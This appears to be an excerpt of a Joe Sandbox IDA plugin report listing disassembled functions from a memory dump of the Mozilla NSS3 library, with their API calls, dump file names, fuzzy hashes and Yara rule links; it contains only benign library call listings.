PR_SetPollableEvent.NSS3(?), ref: 6CC8A94F

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 46d12cf7367f073c0af79c727e22963ef46f2c47fde62ae8030a4f1b9b66f483
Instruction ID: ac849803db744159fffbee92352fed7198ba17cc9e9e9b4c47e45a0fac45ef7c
Opcode Fuzzy Hash: 46d12cf7367f073c0af79c727e22963ef46f2c47fde62ae8030a4f1b9b66f483
Instruction Fuzzy Hash: 3D4135B4A06A12DFC704CF29D58095AFBF1FF88318B25852AE959CBB51F731E850CB90

Function 6CB76C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB76C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB76CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CB76CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CC98FE0), ref: 6CB76CFE

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 791b1a4566f45ba089f364ca50661275cce5127876f41e95b4799f2dc13dd676
Instruction ID: 479f00eab829f7964075682baf74a1ac2f19d6032a6780f57775dee60f3b9cd6
Opcode Fuzzy Hash: 791b1a4566f45ba089f364ca50661275cce5127876f41e95b4799f2dc13dd676
Instruction Fuzzy Hash: FF31AEB5A002169FEB18DF65C881ABFBBF9EF49248F14442DD915E7700EB319905CBB1

Function 6CC84F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CC84F5D
free.MOZGLUE(?), ref: 6CC84F74
free.MOZGLUE(?), ref: 6CC84F82
GetLastError.KERNEL32 ref: 6CC84F90

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 37f5e0ca9c76a02f684167b305f9e231df2be34a6bac4dd31c161f62c4f930e1
Instruction ID: 0eeba11663764a27b1a6513f71ce2cd338d4d4c2ce9133e392a2d6413dbea0ec
Opcode Fuzzy Hash: 37f5e0ca9c76a02f684167b305f9e231df2be34a6bac4dd31c161f62c4f930e1
Instruction Fuzzy Hash: 773137B5A012194BEB01CB69DC91BDBB7BCFF4538CF05022DE815A7680FB34A9058691

Function 6CBE6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CBE6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE6E57

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CBE6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CBE6EAA

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 6618429e0305b3717141edc2cd2885ab98b364c26fc6e1bfb2622b3b455a0106
Instruction ID: 8d66df6b02fe9d4432641eb21c759c71b5805af93039f2d369003e7cbe65c97d
Opcode Fuzzy Hash: 6618429e0305b3717141edc2cd2885ab98b364c26fc6e1bfb2622b3b455a0106
Instruction Fuzzy Hash: 7E31D57161069AEFDB141F34DC043A6B7A4EB09B9AF10063CD699D6BC1EB30B854CF82

Function 6CBE2880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CBE2896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CBE2932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBE294C
free.MOZGLUE(?), ref: 6CBE2955

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: d4cf15aea881f5650afc92f307dc4f2aecf4911e6d8cae75e13a5416074912a0
Instruction ID: 37744e96793eb79224474170e6e46451de2c22fdbd541d2928243923804aa777
Opcode Fuzzy Hash: d4cf15aea881f5650afc92f307dc4f2aecf4911e6d8cae75e13a5416074912a0
Instruction Fuzzy Hash: 9E21BBBA6006419BE7104B26DC49F4777E5DF88799F050538E44DC7B61FB71E4148753

Function 6CC3AAA2 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CCD0D9C,00000000), ref: 6CC3AAD4
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CCD0DA8,00000000), ref: 6CC3AAE3

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID:
API String ID: 2450287516-0
Opcode ID: 1baeec6c4b57cf5476836d528ee7df28efff286160da0db5d7137d016712b259
Instruction ID: 1416f566c14bfd51863f665405e89cd248487c1815e84ccea1fca59536821ad6
Opcode Fuzzy Hash: 1baeec6c4b57cf5476836d528ee7df28efff286160da0db5d7137d016712b259
Instruction Fuzzy Hash: 9B212872900654ABCF00DFA8A9016CE3BB69F4231CF10505AED18EBA90F771E951CBA0

Function 6CC1A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CC02AE9,00000000,0000065C), ref: 6CC1A91D

Part of subcall function 6CBBADC0: TlsGetValue.KERNEL32(?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE10
Part of subcall function 6CBBADC0: EnterCriticalSection.KERNEL32(?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE24
Part of subcall function 6CBBADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CB9D079,00000000,00000001), ref: 6CBBAE5A
Part of subcall function 6CBBADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE6F
Part of subcall function 6CBBADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAE7F
Part of subcall function 6CBBADC0: TlsGetValue.KERNEL32(?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAEB1
Part of subcall function 6CBBADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CB9CDBB,?,6CB9D079,00000000,00000001), ref: 6CBBAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CC02AE9,00000000,0000065C), ref: 6CC1A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CC02AE9,00000000,0000065C), ref: 6CC1A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CC1A952

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: f21147a4ba5365a591f656bc8d31211616317289322465e8e7f20ea2242f9c5a
Instruction ID: d865333103c5c77f67e1f3c7bb35d13d79881817e2eb0edfbdd3e9f113fb5472
Opcode Fuzzy Hash: f21147a4ba5365a591f656bc8d31211616317289322465e8e7f20ea2242f9c5a
Instruction Fuzzy Hash: 943139B4605211AFD704CF1AD980E62B7F8FF88358F1581A9E8098BB56E731E945CFA1

Function 6CB76420 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6CB75DEF,?,?,?), ref: 6CB76456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6CB75DEF,?,?,?), ref: 6CB76476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6CB75DEF,?,?,?), ref: 6CB764A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6CB75DEF,?,?,?), ref: 6CB764C2

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID:
API String ID: 3886907618-0
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: 77e223f9946adafc151bafe1badb0206c6b4e678412abdaf86742f8b4b9b316a
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: F821D871A002516BEB305E28DC05B6776E8EB40308F144538FD29C7B41F7B1D968C7B2

Function 6CBB4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CBBB60F,00000000), ref: 6CBB5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CBBB60F,00000000), ref: 6CBB501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CBBB60F,00000000), ref: 6CBB504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CBBB60F,00000000), ref: 6CBB5064

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: bd7cdcc315cbd426cc7c9599d2f3f6c6aeeff368419c81206e63495c2ef8d485
Instruction ID: c75592eb206e28da08f47df8e8d3400fd9dcbe9fc9c3bd7ccddfa3f39221cfd7
Opcode Fuzzy Hash: bd7cdcc315cbd426cc7c9599d2f3f6c6aeeff368419c81206e63495c2ef8d485
Instruction Fuzzy Hash: D23139B4A05646CFDB00EF69C48456ABBF4FF08304F108569E859D7700EB30E994CBD2

Function 6CBC4590 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000008,?,6CBC473B,00000000,?,6CBB7A4F,?), ref: 6CBC459B

Part of subcall function 6CBD0BE0: malloc.MOZGLUE(6CBC8D2D,?,00000000,?), ref: 6CBD0BF8
Part of subcall function 6CBD0BE0: TlsGetValue.KERNEL32(6CBC8D2D,?,00000000,?), ref: 6CBD0C15

TlsGetValue.KERNEL32(?,?,6CBC473B,00000000,?,6CBB7A4F,?), ref: 6CBC45BF
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CBC473B,00000000,?,6CBB7A4F,?), ref: 6CBC45D3
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CBC473B,00000000,?,6CBB7A4F,?), ref: 6CBC45E8

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$Alloc_CriticalEnterSectionUnlockUtilmalloc
String ID:
API String ID: 2963671366-0
Opcode ID: 978c13af442546d278a42767c56d064188b19edbd9c75c62736de4d61d4088cd
Instruction ID: 8b3df327414df17a780d6308db2965477145a41afac1642da7ceb6f3b7a13fce
Opcode Fuzzy Hash: 978c13af442546d278a42767c56d064188b19edbd9c75c62736de4d61d4088cd
Instruction Fuzzy Hash: 35219FB0B00246AFDB009F69EC455AABBB4FF09319F044579EC49D7B11E731EA64CB92

Function 6CB604D0 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 6CB604F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB6053B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB60558
GetLastError.KERNEL32 ref: 6CB6057A

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorFileHandleInformationLast
String ID:
API String ID: 3051374878-0
Opcode ID: 4213db704f0deb8ae0b9bae54f4afc8458f34d2be718c92d80bc6535e04712e0
Instruction ID: 7fdc2951832d68f557499716de1684f67a0c59d14661cc9f38b8ff3ea88ae76b
Opcode Fuzzy Hash: 4213db704f0deb8ae0b9bae54f4afc8458f34d2be718c92d80bc6535e04712e0
Instruction Fuzzy Hash: 82216F71A002189FDB08DF69DC94AAEB7B8FF49308B108029E809DB351D735ED06CBD0

Function 6CBE2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBE2E08

Part of subcall function 6CBD14C0: TlsGetValue.KERNEL32 ref: 6CBD14E0
Part of subcall function 6CBD14C0: EnterCriticalSection.KERNEL32 ref: 6CBD14F5
Part of subcall function 6CBD14C0: PR_Unlock.NSS3 ref: 6CBD150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CBE2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CBE2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBE2E95

Part of subcall function 6CBD1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD1228
Part of subcall function 6CBD1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CBD1238
Part of subcall function 6CBD1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD124B
Part of subcall function 6CBD1200: PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0,00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD125D
Part of subcall function 6CBD1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CBD126F
Part of subcall function 6CBD1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CBD1280
Part of subcall function 6CBD1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CBD128E
Part of subcall function 6CBD1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CBD129A
Part of subcall function 6CBD1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CBD12A1

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: dacda0ba352e28df2a8869d3ba72121899cc6c516e9a3fe670011b6085bedc56
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: E02126B5D103D64BEB00CF549D44BAE3764AF95B8CF160269DD085B742F7B1E6888293

Function 6CB769B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6CB76AB7,0000000C,00000001,00000000,?,?,6CB76AB7,?,00000000,?), ref: 6CB769CE

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

SEC_ASN1EncodeItem_Util.NSS3(6CB76AB7,0000001C,00000004,?,00000001,00000000), ref: 6CB76A06
SEC_ASN1EncodeItem_Util.NSS3(6CB76AB7,?,00000000,?,00000001,00000000,?,?,6CB76AB7,?,00000000,?), ref: 6CB76A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6CB76AB7,?,00000000,?), ref: 6CB76A42

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: c9f4fa7a4351b338427afbe78a94f97a58f5cf5e68f866863147995ee9ce38c6
Instruction ID: f2b43a84ae6b51db8f814808537d19d82c80f073a0b881689ded9bebc1221ce0
Opcode Fuzzy Hash: c9f4fa7a4351b338427afbe78a94f97a58f5cf5e68f866863147995ee9ce38c6
Instruction Fuzzy Hash: 4011CE71640281AFEB20CE6ACC80B567BACEB4465CF148529EE29C3E01F331E804C7B2

Function 6CB9ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CB9ACC2

Part of subcall function 6CB72F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB72F0A
Part of subcall function 6CB72F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB72F1D

Part of subcall function 6CB72AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CB70A1B,00000000), ref: 6CB72AF0
Part of subcall function 6CB72AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB72B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CB9AD5E

Part of subcall function 6CBB57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CB7B41E,00000000,00000000,?,00000000,?,6CB7B41E,00000000,00000000,00000001,?), ref: 6CBB57E0
Part of subcall function 6CBB57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CBB5843

CERT_DestroyCertList.NSS3(?), ref: 6CB9AD36

Part of subcall function 6CB72F50: CERT_DestroyCertificate.NSS3(?), ref: 6CB72F65
Part of subcall function 6CB72F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB72F83

free.MOZGLUE(?), ref: 6CB9AD4F

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

